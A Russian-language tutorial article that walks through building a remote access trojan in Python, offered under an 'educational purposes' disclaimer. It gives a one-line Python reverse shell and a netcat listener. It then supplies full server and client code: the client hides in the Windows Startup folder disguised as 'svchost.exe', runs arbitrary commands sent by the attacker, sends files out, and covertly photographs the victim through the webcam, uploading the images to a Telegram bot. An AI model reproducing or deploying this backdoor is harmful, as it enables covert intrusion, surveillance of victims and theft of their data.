Делаем свою крысу. RAT на Python

Данная статья написана только в образовательных целях и автор не несёт ответственности за ваши действия. Ни в коем случае не призываем читателей на совершение противозаконных действий.

Чтобы получить контроль над скомпрометированной системой, злоумышленник обычно стремится получить доступ к интерактивной оболочке для выполнения произвольной команды. С таким доступом они могут попытаться повысить свои привилегии, чтобы получить полный контроль над операционной системой. Однако большинство систем находятся за брандмауэрами, и прямые подключения к удаленной оболочке невозможны. Одним из методов, используемых для обхода этого ограничения, является reverse shell.

Reverse Shell (или Reverse TCP, или connect-back, или обратное подключение) — это схема взаимодействия с удалённым компьютером. При её использовании нужно, чтобы атакующий сначала запустил на своей машине сервер, при этом целевая машина будет играть роль клиента, который подключается к этому серверу, после чего атакующий получает доступ к оболочке целевого компьютера.

Основной причиной, по которой злоумышленники часто используют обратные оболочки, является то, как настроено большинство брандмауэров. Атакованные серверы обычно разрешают соединения только через определенные порты. Например, выделенный веб-сервер будет принимать подключения только через порты 80 и 443. Это означает, что на атакованном сервере невозможно установить прослушиватель.

С другой стороны, брандмауэры обычно вообще не ограничивают исходящие соединения. Поэтому злоумышленник может установить сервер на своей машине и создать обратное соединение. Все что нужно – это машина имеющая статический IP-адрес, открытый порт и инструмент, такой как netcat, для создания слушателя и привязки к нему доступа оболочки.

Netcat — утилита Unix, позволяющая устанавливать соединения TCP и UDP, принимать оттуда данные и передавать их. Несмотря на свою полезность и простоту, многие не знают способы ее применения и незаслуженно обходят ее стороной.

С помощью данной утилиты можно производить некоторые этапы при проведении тестирования на проникновение. Это может быть полезно, когда на атакованной машине отсутствуют (или привлекут внимание) установленные пакеты, есть ограничения (например IoT/Embedded устройства) и т.д.

Что можно сделать с помощью netcat:

  • Сканировать порты;
  • Перенаправлять порты;
  • Производить сбор баннеров сервисов;
  • Слушать порт (биндить для обратного соединения);
  • Скачивать и закачивать файлы;
  • Выводить содержимое raw HTTP;

Вместо netcat, мы будем использовать собственный клиент-сервер на питоне, но прежде, чем перейдем к написанию такого софта, стоит ознакомится с примера создания reverse shell и их использованием в связке с netcat.

Создать обратные оболочки очень просто, используя разные инструменты и языки. Во-первых, вам нужен слушатель на вашей локальной машине с публичным IP. На компьютере с Linux все, что вам нужно, это следующая команда netcat:

nc -nlvp 1337

И сам реверс шел на пайтоне:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Внушительный список шелов на разных языках вы можете найти в репозитории гитхаба:

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md

Создание программы

Сервер

Начнем с создания сервера. Нам понадобиться библиотека socket, она уже предустановлена в питоне поэтому никаких других библиотек не понадобится.

Импортируем библиотеки и создаем ключевую переменную:

import socket
import sys

HOST = 'IP' # Айпи атакующего (Ваш)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

Теперь создадим простенькую функцию, в которой будем проверять введен ли порт для прослушивания:

# Проверка был ли введен порт для прослушивания
try:
    PORT = int(sys.argv[1])
except Exception as ex:
    print('Usage: python3 reverse_shell_server.py <port>\n' + str(ex))
    sys.exit(1)

Если введена команда  python3 reverse_shell_server.py, то мы выведем сообщение о том, что порт не был указан:

Usage: python3 reverse_shell_server.py <port>

Главная функция в которой будет обработчик команд:

def main():
    # Ожидание подключения
    s.bind((HOST, PORT))
    s.listen(10)
    print('RSBF server listening on port {}...'.format(PORT))

    # Принятие подключения
    conn, _ = s.accept()

Обработчик команд:

# Обработчик команд
while True:

    # Переменная с командой
    cmd = input('RSBF> ').rstrip()

    # Если команда ничему не равна - продолжаем цикл
    if cmd == '':
        continue

    # Отправляем команды клиенту
    conn.send(bytes(cmd, encoding="utf-8", errors="ignore"))

    # Останавливаем сервер
    if cmd == 'exitrat':
        s.close()
        sys.exit(0)

    # Функция загрузки файлов
    if cmd == "downloadfile":
        # Имя файла в который будут записаны байты
        f = open("FILENAME", "wb")
        while True:
            # Получаем байты
            data = conn.recv(4096)
            if not data:
                break
            # Записываем байты в файл
            f.write(data)
        f.close()
        print('Done sending\n')


    # Переменная с ответом от сервера
    data = conn.recv(4096)
    print(str(data, encoding="utf-8", errors="ignore"))

В конце фала пишем это:

if __name__ == '__main__':
    main()

Таким образом мы запустим функцию main.

Клиент

Нужные переменные и библиотеки:

import os
import socket
import subprocess
from time import sleep

# Айпи атакующего
HOST = 'IP'
# PПорт на который клиент будет подключатся
PORT = 9999

s = socket.socket()

Напишем небольшую функцию, которая будет помещать наш скрипт в автозагрузку:

def auto_run():
    # Имя скомпилированного файла
    filename = "program54.exe"
    # Имя пользователя Windows
    username = os.getlogin()
    # Путь к папке с автозагрузкой
    startup = (r'C:/Users/' + username + r'/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/')

    # Проверка существует ли файл в автозагрузке
    if os.path.exists(str(startup + r'svchost.exe')) == True:
        # Отправляем сообщение на сервер
        s.send(bytes("\nRAT already at startup folder\n", encoding="utf-8", errors="ignore"))
    else:
        os.system("copy " + filename + " " + '"' + startup + '"' + r'svchost.exe')
        # Отправляем сообщение на сервер
        s.send(bytes("\nRAT added at startup folder\n", encoding="utf-8", errors="ignore"))

Если файл уже находится в автозагрузке, то на сервер придет сообщение:

RAT already at startup folder

Если же файл добавился в автозагрузку:

RAT added at startup folder

Функция подключение к серверу:

# Функция подключения
def main():
    try:
        s.connect((HOST, PORT))
        session()
    except:
        sleep(500)
        s.connect((HOST, PORT))
        session()

s.connect((HOST, PORT)) – подключает сокет к айпи и порту который мы указали раннее.

session() – запустит функцию которую мы сейчас напишем.

# Обработчик команд
def session():
    while True:
        data = s.recv(1024)
        cmd = str(data, encoding="utf-8", errors="ignore")

        if cmd == 'shutdownrat':
            s.close()
            exit(0)

Основа обработчика готова, теперь нужно добавить команд и исключений к ним же. Команды будут выглядеть следующим образом:

If cmd == ‘название_команды’

    Функция которую вы хотите выполнять

    s.send(bytes(вывод функции, encoding=”utf-8″, errors=”ignore”))

# AUTORUN
elif cmd == "autorun":
    auto_run()

# CD
elif cmd[:2] == "cd":
    try:
        # Отправка аргументов команды в os.chdir
        os.chdir(data[3:])
        pwd = os.getcwd()
        s.send(bytes(pwd, encoding="utf-8", errors="ignore"))
    except Exception as ex:
        s.send(bytes("Error:\n" + str(ex) + "\n", encoding="utf-8", errors="ignore"))

# PWD
elif cmd == "pwd":
    try:
        # Переменная с текущей директорией
        pwd = os.getcwd()
        s.send(bytes(pwd, encoding="utf-8", errors="ignore"))
    except Exception as ex:
        s.send(bytes("Error:\n" + str(ex) + "\n", encoding="utf-8", errors="ignore"))

Теперь сделаем универсальную функцию которая будет брать команду и выполнять ее, дабы не писать кучу elif:

# Если длина команды > 0, посылаем ее в консоль subprocess
elif len(cmd) > 0:
    try:
        command = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE,
                                   stdin=subprocess.PIPE, stderr=subprocess.PIPE)
        # Переменная с ответом от subprocess
        output_byte = command.stdout.read() + command.stderr.read()
        # Конвертируем output_byte в строку
        output_str = str(output_byte, "utf-8", errors="ignore")
        # Отправляем output_str на сервер
        s.send(bytes(output_str, encoding="utf-8", errors="ignore"))
    except Exception as ex:
        s.send(bytes("Error:\n" + str(ex) + "\n", encoding="utf-8", errors="ignore"))

Функция скачивания файлов:

# GETFILE
elif cmd == "getfile":
    try:
        # Имя файла для отправки
        file_to_send = "FILENAME"
        # Открытие файла
        f = open(file_to_send, "rb")
        # Отправка файла
        data_to_send = f.read()
        s.send(data_to_send)
        f.close()
        s.send(bytes("\nFile has been sent\n" + "\n", encoding="utf-8", errors="ignore"))
    except Exception as ex:
        s.send(bytes("Error:\n" + str(ex) + "\n", encoding="utf-8", errors="ignore"))

Вместо одного файла вы можете сделать функцию которая соберет все txt файлы на рабочем  столе в архив и уже его отправит вам, но я это показывать не буду, вместо этого мы сделаем еще одну команду которая будет POST запросом слать нам фото с вебкамеры в телеграм бота:

from requests import post

def web_cam():

    bot_token = "ТОКЕН БОТА"

    chat_id = "ВАШ ТЕЛЕГАРАМ АЙДИ"


    try:
        camera_port = 0
        cap = VideoCapture(camera_port, CAP_DSHOW)
        for i in range(30):
            cap.read()
        ret, frame = cap.read()
        imwrite(r"C:\Windows\Temp\screen.png", frame)
        cap.release()
        destroyAllWindows()
        photo = open(r"C:\Windows\Temp\screen.png", 'rb')
        files = {'document': photo}
        post("https://api.telegram.org/bot" + bot_token + "/sendDocument?chat_id=" + chat_id, files=files)
        photo.close()
        os.system(r"del C:\Windows\Temp\screen.png")
    except Exception as ex:
        s.send(bytes("Error:\n" + str(ex) + "\n", encoding="utf-8", errors="ignore"))

Ну и в обработчике команд это будет выглядеть следующим образом:

elif cmd == "webcam":
    try:
        web_cam()
        pwd = os.getcwd()
        s.send(bytes(pwd, encoding="utf-8", errors="ignore"))
    except Exception as ex:
        s.send(bytes("Error:\n" + str(ex) + "\n", encoding="utf-8", errors="ignore"))

В конце фала пишем это:

if __name__ == '__main__':
    main()

Таким образом мы запустим функцию main.

Заключение

Теперь ты знаешь как написать не только хитрый однострочик но и полноценный бэкдор который передоставит управление машиной. Думаю, ты уже ощущаешь невероятную мощь и готов к экспериментам. Желаю удачи с ними!

Вес скомпилированного ехе без управления вебкамерой примерно 9 мегабайт, весь проект вы можете скачать тут:

https://github.com/f4rber/RSBF